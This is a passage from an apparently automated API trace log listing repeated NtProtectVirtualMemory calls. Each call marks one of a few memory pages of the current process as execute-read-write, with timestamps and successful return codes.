BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.533] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.698] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.771] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.798] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.819] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.836] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.884] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.905] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.991] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.041] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.080] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.090] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.101] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.215] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.366] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.388] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.442] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.524] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.588] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.725] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, 